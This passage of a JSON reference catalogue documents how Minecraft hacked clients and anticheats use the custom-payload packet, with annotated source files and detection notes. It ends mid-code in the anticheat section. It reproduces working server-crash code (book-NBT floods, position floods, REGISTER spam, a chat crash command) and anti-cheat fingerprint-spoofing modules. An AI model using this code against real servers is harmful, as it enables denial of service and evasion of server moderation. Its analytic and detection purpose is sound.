      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/consolespammer/ChannelConsoleSpammer.java =====\npackage com.alan.clients.module.impl.exploit.consolespammer;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.other.TickEvent;\nimport com.alan.clients.module.impl.exploit.ConsoleSpammer;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.NumberValue;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport org.apache.commons.lang3.RandomStringUtils;\n\npublic class ChannelConsoleSpammer extends Mode<ConsoleSpammer> {\n\n    private final NumberValue channelsPerTick = new NumberValue(\"Channels/tick\", this, 1, 1, 100, 1);\n\n    public ChannelConsoleSpammer(String name, ConsoleSpammer parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<TickEvent> onTick = event -> {\n        for (int i = 0; i < channelsPerTick.getValue().intValue(); ++i) {\n            final PacketBuffer buffer = new PacketBuffer(Unpooled.buffer());\n            buffer.writeString(\"MC|\" + RandomStringUtils.randomAlphabetic(8, 16));\n\n            PacketUtil.send(new C17PacketCustomPayload(\"REGISTER\", buffer));\n        }\n    };\n}\n// NOTE (AI): ChannelConsoleSpammer is a Mode of the Rise 6.x ConsoleSpammer. Every tick it sends up to channelsPerTick REGISTER packets, each carrying a random 'MC|' + 8-16 random letters channel name. The payload is a registration for channels the client never uses; the spam is aimed at server consoles and plugin channel registries that log or allocate per REGISTER.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/consolespammer/ChannelConsoleSpammer.java",
      "vanilla_hook": "TickEvent.",
      "anti_cheat_notes": "Detectable by rate limits on REGISTER and by channel-registry memory accounting; it is a console nuisance, not a movement exploit.",
      "variations": "Same Mode in Rise 6.1.30."
     },
     {
      "name": "Crasher (BEdit / Mare)",
      "found_in": [
       "Rise 5.99",
       "Tenacity 6.0"
      ],
      "purpose": "Push crafted book NBT over the MC|BEdit channel to crash servers with unpatched book parsers.",
      "how_it_works": "Rise 5.99's BEdit mode sends 30 MC|BEdit payloads whose book pages are deeply nested {extra:[{...}} JSON; Mare mode repeats the same construction packets.getValue() times. Tenacity's CrasherCommand floods a fixed C17 with repeated U+1D11E bytes.",
      "detailed_code": "// ===== FILE: Tenacity 6.0, dev/tenacity/command/impl/CrasherCommand.java =====\npackage dev.tenacity.command.impl;\n\nimport dev.tenacity.Tenacity;\nimport dev.tenacity.command.AbstractCommand;\nimport dev.tenacity.exception.UnknownModuleException;\nimport dev.tenacity.module.Module;\nimport dev.tenacity.util.misc.ChatUtil;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport org.lwjgl.input.Keyboard;\n\nimport java.nio.charset.StandardCharsets;\n\nimport static dev.tenacity.util.Utils.mc;\n\npublic final class CrasherCommand extends AbstractCommand {\n\n    public CrasherCommand() {\n        super(\"crash\", \"Sends packets to crash a server\", \".crash (packet amount) (packet value or mn)\", 2);\n    }\n\n    @Override\n    public void onCommand(final String[] arguments) {\n        String channelName = \"bluetooth cum\";\n        String payload = \"\\uD834\\uDD1E\\uD834\\uDD1E\\uD834\\uDD1E\\uD834\\uDD1E\\uD834\\uDD1E\\uD834\\uDD1E\\uD834\\uDD1E\";\n        byte[] payloadBytes = payload.getBytes(StandardCharsets.UTF_8);\n        PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());\n\n        packetBuffer.writeBytes(payloadBytes);\n        if (arguments.length > 0 && arguments[0].equalsIgnoreCase(\"mn\")) {\n            sendStringPayload(channelName, payload);\n        } else {\n            int packetCount = 1;\n            if (arguments.length > 0) {\n                try {\n                    packetCount = Integer.parseInt(arguments[0]);\n                } catch (NumberFormatException e) {\n                    ChatUtil.error(\"Invalid packet amount. Defaulting to 1.\");\n                }\n            }\n            ChatUtil.enable(\"Sending \" + packetCount + \" packets!\");\n            for (int i = 0; i < packetCount; i++) {\n                C17PacketCustomPayload customPacket = new C17PacketCustomPayload(channelName, packetBuffer);\n                mc.thePlayer.sendQueue.addToSendQueue(customPacket);\n                ChatUtil.success(\"Packet sent!\");\n            }\n        }\n    }\n    private void sendStringPayload(String channelName, String payload) {\n\n    }\n}\n// NOTE (AI): CrasherCommand implements '.crash (amount) (mn)'. The default path builds a C17 with channel name 'bluetooth cum' and a payload of repeated U+1D11E musical-symbol bytes, then pushes packetCount copies through the vanilla send queue. The payload reuses the same byte sequence for every packet; the 'mn' argument routes to an unimplemented string-payload helper.",
      "code_source": "Tenacity 6.0, dev/tenacity/command/impl/CrasherCommand.java",
      "vanilla_hook": "MotionEvent (Tenacity module path), direct send queue (command path), onPreMotion (Rise 5.99).",
      "anti_cheat_notes": "The nested-JSON payloads target chat/JSON deserializers; patched servers reject the book NBT via isNBTValid and drop the packet. Rate-based detection is trivial for the 30x flood.",
      "variations": "Rise 5.99 carries both BEdit and Mare in one Crasher module; Tenacity exposes the flood as a chat command with a configurable packet count."
     },
     {
      "name": "TestDisabler (payload rewrite)",
      "found_in": [
       "Rise 6.2.4"
      ],
      "purpose": "Rewrite every outgoing C17 payload to fixed bytes as a disabler test mode.",
      "how_it_works": "On PacketSendEvent, replaces the C17 buffer with the raw bytes of the string 'eyser' without cancelling the packet.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/TestDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.component.impl.player.PingSpoofComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.JumpEvent;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.motion.PreUpdateEvent;\nimport com.alan.clients.event.impl.other.StepEvent;\nimport com.alan.clients.event.impl.packet.PacketSendEvent;\nimport com.alan.clients.module.impl.combat.KillAura;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.player.MoveUtil;\nimport com.alan.clients.value.Mode;\nimport io.netty.buffer.Unpooled;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Collection;\nimport java.util.HashSet;\n\npublic class TestDisabler extends Mode<Disabler> {\n    private final StopWatch stopWatch = new StopWatch();\n\n    private final Collection<Packet<?>> packetCollection = new HashSet<>();\n\n    public TestDisabler(String name, Disabler parent) {\n        super(name, parent);\n    }\n\n    @EventLink()\n    public final Listener<PacketSendEvent> onPacketSend = event -> {\n\n        final Packet<?> packet = event.getPacket();\n\n        if (packet instanceof C17PacketCustomPayload) {\n            final C17PacketCustomPayload wrapper = (C17PacketCustomPayload) packet;\n\n                    // It's meant to be \"eyser\" don't change itt\n                    wrapper.setData(createPacketBuffer(\"eyser\", false));\n\n\n            }\n\n    };\n\n    private PacketBuffer createPacketBuffer(final String data, final boolean string) {\n        if (string) {\n            return new PacketBuffer(Unpooled.buffer()).writeString(data);\n        } else {\n            return new PacketBuffer(Unpooled.wrappedBuffer(data.getBytes()));\n        }\n    }\n}\n// NOTE (AI): TestDisabler is a Mode of the Rise 6.x Disabler. On PacketSendEvent it rewrites every C17's payload to the raw bytes 'eyser' (the source comment insists on the misspelling), replacing the buffer in place without cancelling the packet. The mode is a test rig for payload rewriting and sits alongside the module's other per-server disabler modes.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/TestDisabler.java",
      "vanilla_hook": "PacketSendEvent.",
      "anti_cheat_notes": "Corrupting every C17 breaks the brand handshake and any mod channel traffic, which is obvious to client-detection plugins; the mode is experimental by design.",
      "variations": "Not present in Rise 6.1.30; Rise 6.1.30's VulcanDisabler carries only a commented-out C17 check."
     },
     {
      "name": "AntiForge (payload filter)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Strip Forge and mod fingerprints from the C17 stream: cancel non-MC| payloads and FMLProxyPacket, and rewrite MC|Brand to the literal 'vanilla'.",
      "how_it_works": "The PacketEvent handler, gated on enabled and not a singleplayer world, cancels FMLProxyPacket by class name, cancels any C17 whose channel does not start with 'MC|', and for MC|Brand replaces the payload with a buffer writing the string 'vanilla'. The file carries an older commented-out handler (lines 28 to 56) that did the same checks in a different order; the live handler merged them.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/special/AntiForge.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.special;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.Listenable;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.features.module.ModuleManager;\nimport net.ccbluex.liquidbounce.features.module.modules.world.Scaffold;\nimport net.ccbluex.liquidbounce.utils.MinecraftInstance;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\nimport net.minecraftforge.fml.relauncher.Side;\nimport net.minecraftforge.fml.relauncher.SideOnly;\n\n@SideOnly(Side.CLIENT)\npublic class AntiForge extends MinecraftInstance implements Listenable {\n\n    public static boolean enabled = true;\n    public static boolean blockFML = true;\n    public static boolean blockProxyPacket = true;\n    public static boolean blockPayloadPackets = true;\n/*\n    @EventTarget\n    public void onPacket(PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n\n        if (enabled && !mc.isIntegratedServerRunning()) {\n            try {\n                if (blockFML) {\n                    if (blockProxyPacket && packet.getClass().getName().equals(\"net.minecraftforge.fml.common.network.internal.FMLProxyPacket\"))\n                        event.cancelEvent();\n\n                    if (blockPayloadPackets && packet instanceof C17PacketCustomPayload) {\n                        final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet;\n                        if (!customPayload.getChannelName().startsWith(\"MC|\")) event.cancelEvent();\n                    }\n                }\n\n                if (enabled && packet instanceof C17PacketCustomPayload) {\n                    C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet;\n                    if (customPayload.getChannelName().equalsIgnoreCase(\"MC|Brand\"))\n                        customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString(\"vanilla\"));\n                }\n            } catch (final Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n */\n\n    @EventTarget\n    public void onPacket(final PacketEvent event) {\n        final Packet<?> packet = event.getPacket();\n        if (AntiForge.enabled && !AntiForge.mc.isIntegratedServerRunning()) {\n            try {\n                if (blockProxyPacket && packet.getClass().getName().equals(\"net.minecraftforge.fml.common.network.internal.FMLProxyPacket\")) {\n                    event.cancelEvent();\n                }\n                if (blockPayloadPackets && packet instanceof C17PacketCustomPayload) {\n                    final C17PacketCustomPayload customPayload = (C17PacketCustomPayload) packet;\n                    if (!customPayload.getChannelName().startsWith(\"MC|\")) {\n                        event.cancelEvent();\n                    }\n                    else if (customPayload.getChannelName().equalsIgnoreCase(\"MC|Brand\")) {\n                        customPayload.data = (new PacketBuffer(Unpooled.buffer()).writeString(\"vanilla\"));\n                    }\n                }\n            }\n            catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }\n\n    @Override\n    public boolean handleEvents() {\n        return true;\n    }\n}\n// NOTE (AI): The full AntiForge special class: the live handler cancels FMLProxyPacket by class name, cancels any C17 not on an MC| channel, and rewrites MC|Brand to 'vanilla'. The older commented-out handler above it shows the same logic in an earlier form. MixinNetHandlerPlayClient pairs with this by forcing MC|Brand on join.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/special/AntiForge.java",
      "vanilla_hook": "PacketEvent (send side), handleEvents returns true so the listener always fires.",
      "anti_cheat_notes": "Blocking every non-MC| channel breaks mod handshakes, so the client looks vanilla to plugin-channel scanners; the MC|Brand rewrite to 'vanilla' matches what a plain client announces. Servers that fingerprint via REGISTER or modded payloads see a clean stream.",
      "variations": "This is the LiquidBounce AntiForge special class shipped inside LiquidSense Dev; November Recode 2.0 has no equivalent module, and its LuaEventPacket only maps C17 to 0x17 for scripts."
     },
     {
      "name": "HYTBypass (AntiCheat payload)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Send a crafted JSON payload on the 'AntiCheat' channel two seconds after joining a world, advertising a spoofed client fingerprint.",
      "how_it_works": "On WorldEvent, spawns a thread that sleeps 2000ms, builds a JsonObject with a base64 hash, the Chinese title for 'Minecraft 1.8.9', isLiquidbounce false, path 'mixins.mcwrapper.json' and the player name, writes it into a PacketBuffer, and sends C17 on channel 'AntiCheat' via the network manager. The payload is aimed at servers whose anti-cheat plugin asks clients to self-identify on that channel.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/HYTBypass.java =====\npackage me.AquaVit.liquidSense.modules.misc;\n\nimport com.google.gson.JsonObject;\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.WorldEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\n\n@ModuleInfo(name = \"HYTBypass\", description = \":/\", category = ModuleCategory.MISC)\npublic class HYTBypass extends Module {\n\n    @EventTarget\n    public void onWorld(final WorldEvent e) {\n        new Thread(() -> {\n            try {\n                Thread.sleep(2000);\n                JsonObject jsonObject = new JsonObject();\n                jsonObject.addProperty(\"base64\", \"ecbeb575677ab9a37410748a5f429f9f\");\n                jsonObject.addProperty(\"cltitle\", \"\\u6211\\u7684\\u4e16\\u754c 1.8.9\");\n                jsonObject.addProperty(\"isLiquidbounce\", false);\n                jsonObject.addProperty(\"path\", \"mixins.mcwrapper.json\");\n                jsonObject.addProperty(\"player\", mc.thePlayer.getName());\n\n                PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());\n                packetBuffer.writeString(jsonObject.toString());\n                C17PacketCustomPayload antiCheat = new C17PacketCustomPayload(\"AntiCheat\", packetBuffer);\n                mc.getNetHandler().getNetworkManager().sendPacket(antiCheat);\n            } catch (InterruptedException ex) {\n                ex.printStackTrace();\n            }\n        }).start();\n    }\n}\n// NOTE (AI): The full HYTBypass module: a delayed thread sends the AntiCheat channel payload once per world join, claiming a non-LiquidBounce mixin wrapper with a fixed base64 and the player's name. The Chinese title string is the client name for Minecraft 1.8.9.",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/HYTBypass.java",
      "vanilla_hook": "WorldEvent (threaded send).",
      "anti_cheat_notes": "The payload claims a non-LiquidBounce wrapper (isLiquidbounce false) and a mixin path, a direct counter to servers that fingerprint LiquidSense via the AntiCheat channel; a wrong or missing answer marks the client.",
      "variations": "The base64 and mixins.mcwrapper.json fields are specific to this bypass; the module is a one-shot per world join, unlike AntiForge which filters the whole session."
     },
     {
      "name": "ServerCrasher (book flood)",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Crash unpatched servers by flooding MC|BSign and MC|BEdit with book NBT payloads, plus position-spam crash modes in the same module shell.",
      "how_it_works": "BookFlood mode, on every pre-motion tick, builds an ItemStack writable book with a 50-page NBTTagList of 600-character random strings and sends 100 C17 payloads alternating MC|BSign and MC|BEdit, each writing the book ItemStack into a fresh PacketBuffer. The other modes are position based (AACNew and AACOther flood C04 at huge offsets, MassiveChunkLoading steps y to 255) or chat based (WorldEdit //calc, Pex /pex promote).",
      "detailed_code": "// ===== FILE: LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.java =====\n/*\n * LiquidBounce Hacked Client\n * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge.\n * https://github.com/CCBlueX/LiquidBounce/\n */\npackage net.ccbluex.liquidbounce.features.module.modules.exploit;\n\nimport io.netty.buffer.Unpooled;\nimport net.ccbluex.liquidbounce.event.*;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.misc.RandomUtils;\nimport net.ccbluex.liquidbounce.utils.timer.MSTimer;\nimport net.ccbluex.liquidbounce.value.ListValue;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.nbt.NBTTagCompound;\nimport net.minecraft.nbt.NBTTagList;\nimport net.minecraft.nbt.NBTTagString;\nimport net.minecraft.network.PacketBuffer;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C17PacketCustomPayload;\n\nimport java.util.Random;\n\n@ModuleInfo(name = \"ServerCrasher\", description = \"Allows you to crash certain server.\", category = ModuleCategory.EXPLOIT)\npublic class ServerCrasher extends Module {\n    private final ListValue modeValue = new ListValue(\"Mode\", new String[]{\"AACNew\", \"AACOther\", \"AACOld\", \"WorldEdit\", \"Pex\", \"BookFlood\", \"CubeCraft\", \"MassiveChunkLoading\"}, \"AACNew\");\n\n    private MSTimer pexTimer = new MSTimer();\n\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer == null)\n            return;\n\n        switch (modeValue.get().toLowerCase()) {\n            case \"aacnew\":\n                for (int index = 0; index < 9999; ++index)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 9412 * index, mc.thePlayer.getEntityBoundingBox().minY + 9412 * index, mc.thePlayer.posZ + 9412 * index, true));\n                break;\n            case \"aacother\":\n                for (int index = 0; index < 9999; ++index)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + 500000 * index, mc.thePlayer.getEntityBoundingBox().minY + 500000 * index, mc.thePlayer.posZ + 500000 * index, true));\n                break;\n            case \"aacold\":\n                mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, Double.NEGATIVE_INFINITY, true));\n                break;\n            case \"worldedit\":\n                mc.thePlayer.sendChatMessage(\"//calc for(i=0;i<256;i++){for(a=0;a<256;a++){for(b=0;b<256;b++){for(c=0;c<256;c++){}}}}\");\n                break;\n            case \"cubecraft\":\n                mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.3D, mc.thePlayer.posZ);\n                break;\n            case \"massivechunkloading\":\n                for (double yPos = mc.thePlayer.posY; yPos < 255; yPos += 5)\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, yPos, mc.thePlayer.posZ, true));\n\n                for (int i = 0; i < (1337 * 5); i += 5) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX + i, 255, mc.thePlayer.posZ + i, true));\n                }\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onMotion(final MotionEvent event) {\n        if (event.getEventState() == EventState.POST)\n            return;\n\n        switch (modeValue.get().toLowerCase()) {\n            case \"bookflood\":\n                final ItemStack bookStack = new ItemStack(Items.writable_book);\n                final NBTTagCompound bookCompound = new NBTTagCompound();\n\n                bookCompound.setString(\"author\", RandomUtils.randomNumber(20));\n                bookCompound.setString(\"title\", RandomUtils.randomNumber(20));\n\n                final NBTTagList pageList = new NBTTagList();\n                final String pageText = RandomUtils.randomNumber(600);\n\n                for (int page = 0; page < 50; page++)\n                    pageList.appendTag(new NBTTagString(pageText));\n\n                bookCompound.setTag(\"pages\", pageList);\n                bookStack.setTagCompound(bookCompound);\n\n                for (int packets = 0; packets < 100; packets++) {\n                    final PacketBuffer packetBuffer = new PacketBuffer(Unpooled.buffer());\n                    packetBuffer.writeItemStackToBuffer(bookStack);\n                    mc.getNetHandler().addToSendQueue(new C17PacketCustomPayload(new Random().nextBoolean() ? \"MC|BSign\" : \"MC|BEdit\", packetBuffer));\n                }\n                break;\n            case \"cubecraft\":\n                final double x = mc.thePlayer.posX;\n                final double y = mc.thePlayer.posY;\n                final double z = mc.thePlayer.posZ;\n\n                for (int i = 0; i < 3000; ++i) {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y + 0.09999999999999D, z, false));\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x, y, z, true));\n                }\n                mc.thePlayer.motionY = 0;\n                break;\n            case \"pex\":\n                if (pexTimer.hasTimePassed(2000)) {\n                    mc.thePlayer.sendChatMessage(new Random().nextBoolean() ? \"/pex promote a a\" : \"/pex demote a a\");\n                    pexTimer.reset();\n                }\n                break;\n            default:\n                setState(false);\n                break;\n        }\n    }\n\n    @EventTarget\n    public void onWorld(final WorldEvent event) {\n        if (event.getWorldClient() == null) setState(false);\n    }\n\n    @EventTarget\n    public void onTick(final TickEvent event) {\n        if (mc.thePlayer == null || mc.theWorld == null) setState(false);\n    }\n\n    @Override\n    public String getTag() {\n        return modeValue.get();\n    }\n}\n// NOTE (AI): The full ServerCrasher module: BookFlood sends 100 C17 payloads per pre-motion tick, alternating MC|BSign and MC|BEdit, each carrying a writable book with 50 pages of 600 random characters. The AAC, WorldEdit, Pex, CubeCraft and MassiveChunkLoading modes share the shell but use C04 or chat instead of C17.",
      "code_source": "LiquidSense Dev, net/ccbluex/liquidbounce/features/module/modules/exploit/ServerCrasher.java",
      "vanilla_hook": "onEnable (one-shot modes), MotionEvent PRE (BookFlood loop), WorldEvent and TickEvent (self-disable guards).",
      "anti_cheat_notes": "The 100-per-tick book flood is the same family as Rise 5.99's Crasher BEdit and Tenacity's CrasherCommand: deep NBT deserialization on the server. The random channel choice between BSign and BEdit doubles the parser paths hit.",
      "variations": "The channel alternation and 50-page by 600-char page construction differ from Rise's nested JSON pages; the module is the only crash tool in the two new clients."
     },
     {
      "name": "LuaEventPacket (scripting wrapper)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Expose C17 (and every other serverbound class) to Lua scripts as a numeric packet id plus direction.",
      "how_it_works": "A static map binds each packet class to its protocol id, C17 at 0x17; the LuaEventPacket constructor resolves the incoming EventPacket's class through the map and records 'out' for EventPacket.Out sends, 'in' otherwise. The @DontObfuscate annotation keeps the class name readable so the Lua runtime can reflect it.",
      "detailed_code": "// ===== FILE: November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java =====\n/* November.lol © 2023 */\npackage lol.november.scripting.wrapper.event;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.protect.DontObfuscate;\nimport lombok.Getter;\nimport lombok.Setter;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Getter\n@Setter\n@DontObfuscate\npublic class LuaEventPacket {\n\n  /**\n   * A map of each {@link Packet} to their id\n   */\n  private static final Map<Class<? extends Packet<?>>, Integer> packetIds =\n    new HashMap<>();\n\n  static {\n    // you may ask: why not use reflection and just.. do a funny?\n    // obfuscation eventually happens so this aids has to happen\n\n    packetIds.put(C0APacketAnimation.class, 0x0A);\n    packetIds.put(C0BPacketEntityAction.class, 0x0B);\n    packetIds.put(C0CPacketInput.class, 0x0C);\n    packetIds.put(C0DPacketCloseWindow.class, 0x0D);\n    packetIds.put(C0EPacketClickWindow.class, 0x0E);\n    packetIds.put(C0FPacketConfirmTransaction.class, 0x0F);\n    packetIds.put(C00PacketKeepAlive.class, 0x00);\n    packetIds.put(C01PacketChatMessage.class, 0x01);\n    packetIds.put(C02PacketUseEntity.class, 0x02);\n    packetIds.put(C03PacketPlayer.class, 0x03);\n    packetIds.put(C03PacketPlayer.C04PacketPlayerPosition.class, 0x04);\n    packetIds.put(C03PacketPlayer.C05PacketPlayerLook.class, 0x05);\n    packetIds.put(C03PacketPlayer.C06PacketPlayerPosLook.class, 0x06);\n    packetIds.put(C07PacketPlayerDigging.class, 0x07);\n    packetIds.put(C08PacketPlayerBlockPlacement.class, 0x08);\n    packetIds.put(C09PacketHeldItemChange.class, 0x09);\n    packetIds.put(C10PacketCreativeInventoryAction.class, 0x10);\n    packetIds.put(C11PacketEnchantItem.class, 0x11);\n    packetIds.put(C12PacketUpdateSign.class, 0x12);\n    packetIds.put(C13PacketPlayerAbilities.class, 0x13);\n    packetIds.put(C14PacketTabComplete.class, 0x14);\n    packetIds.put(C15PacketClientSettings.class, 0x15);\n    packetIds.put(C16PacketClientStatus.class, 0x16);\n    packetIds.put(C17PacketCustomPayload.class, 0x17);\n    packetIds.put(C18PacketSpectate.class, 0x18);\n    packetIds.put(C19PacketResourcePackStatus.class, 0x19);\n  }\n\n  private final int packet;\n  private final String direction;\n\n  public LuaEventPacket(EventPacket event) {\n    packet = packetIds.getOrDefault(event.get().getClass(), -1);\n    direction = event.get() instanceof EventPacket.Out ? \"out\" : \"in\";\n  }\n}\n// NOTE (AI): The full scripting wrapper: a static map of every serverbound class to its protocol id (C17 at 0x17), resolved per EventPacket with an in/out direction. The comment explains why the map exists: obfuscation makes reflection-based id lookup unreliable.",
      "code_source": "November Recode 2.0, scripting/wrapper/event/LuaEventPacket.java",
      "vanilla_hook": "EventPacket wrap point in the scripting engine.",
      "anti_cheat_notes": "This is a scripting surface, not an exploit: it lets user scripts intercept and rewrite C17 traffic; the map is the ground truth the Lua API uses instead of reflection, because obfuscation would break class lookups.",
      "variations": "The same wrapper backs every packet impl in this corpus; November Recode 2.0 has no dedicated C17 module, so this map entry is its only corpus appearance for C17."
     }
    ],
    "general_hooks": "PacketSendEvent for rewrite/cancel (Rise 5.99, Rise 6.x), TickEvent for REGISTER floods, direct send-queue pushes for crash commands (Tenacity).",
    "client_variations": "Rise 5.99 mutates the packet in place; Rise 6.x cancels and replays via sendNoEvent; Tenacity pushes raw packets into the vanilla send queue. PingSpoofComponent additionally holds C17 in its blink tuple in both Rise 6.x builds. LiquidSense Dev filters and rewrites C17 in its PacketEvent (AntiForge), sends crafted payloads on world join (HYTBypass), floods book channels (ServerCrasher), and forces MC|Brand in MixinNetHandlerPlayClient. November Recode 2.0 exposes C17 to Lua scripts via LuaEventPacket (id 0x17). LiquidSense's MemoryFixer imports C17PacketCustomPayload but never uses it; the import is dead code and the module only calls System.gc on a timer.",
    "related": [
     "S3FPacketCustomPayload",
     "C19PacketResourcePackStatus"
    ],
    "anticheat": {
     "overview": "The custom payload packet is the plugin channel carrier: brand, mod handshake, book edit, sign, anvil rename and trade data all arrive inside it. Anticheats use it for three things: client brand identification on the minecraft:brand channel, validation of the payloads that can carry exploit data such as book edit NBT and oversized payloads, and mod fingerprinting for cheat-mod detection. Because the packet is the only one that can smuggle arbitrary bytes, payload parsing is also where crash and JNDI mitigations attach.",
     "checks": [
      {
       "name": "ClientBrand (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Reads the brand channel, records the client's brand for staff and database, and disconnects blacklisted Forge clients that shipped with extended reach.",
       "how_it_works": "PacketReceiveListener on PLUGIN_MESSAGE in the play and configuration states. It handles only the brand channel, minecraft:brand on 1.13+ and MC|Brand before. Data longer than 64 bytes or empty marks the brand as invalid; otherwise it strips the length byte, removes the (Velocity) proxy suffix, strips color codes, alerts staff unless the brand is ignored, and writes the brand into the session row. Forge brands on 1.18.2 to 1.19.3 clients are disconnected when the config blocks blacklisted Forge clients, referencing the known Forge reach hack.",
       "detects": "Spoofed or oversized brand payloads and Forge clients with built-in reach hacks.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/checks/impl/misc/ClientBrand.java =====\npackage ac.grim.grimac.checks.impl.misc;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.checks.Check;\nimport ac.grim.grimac.checks.type.PacketReceiveListener;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.anticheat.MessageUtil;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketReceiveEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.wrapper.configuration.client.WrapperConfigClientPluginMessage;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPluginMessage;\nimport lombok.Getter;\nimport net.kyori.adventure.text.Component;\n\npublic class ClientBrand extends Check implements PacketReceiveListener {\n\n    private static final String CHANNEL = PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_13) ? \"minecraft:brand\" : \"MC|Brand\";\n\n    @Getter\n    private String brand = \"vanilla\";\n    @Getter\n    private boolean hasBrand = false;\n\n    public ClientBrand(GrimPlayer player) {\n        super(player);\n    }\n\n    @Override\n    public void onPacketReceive(final PacketReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.PLUGIN_MESSAGE) {\n            WrapperPlayClientPluginMessage packet = new 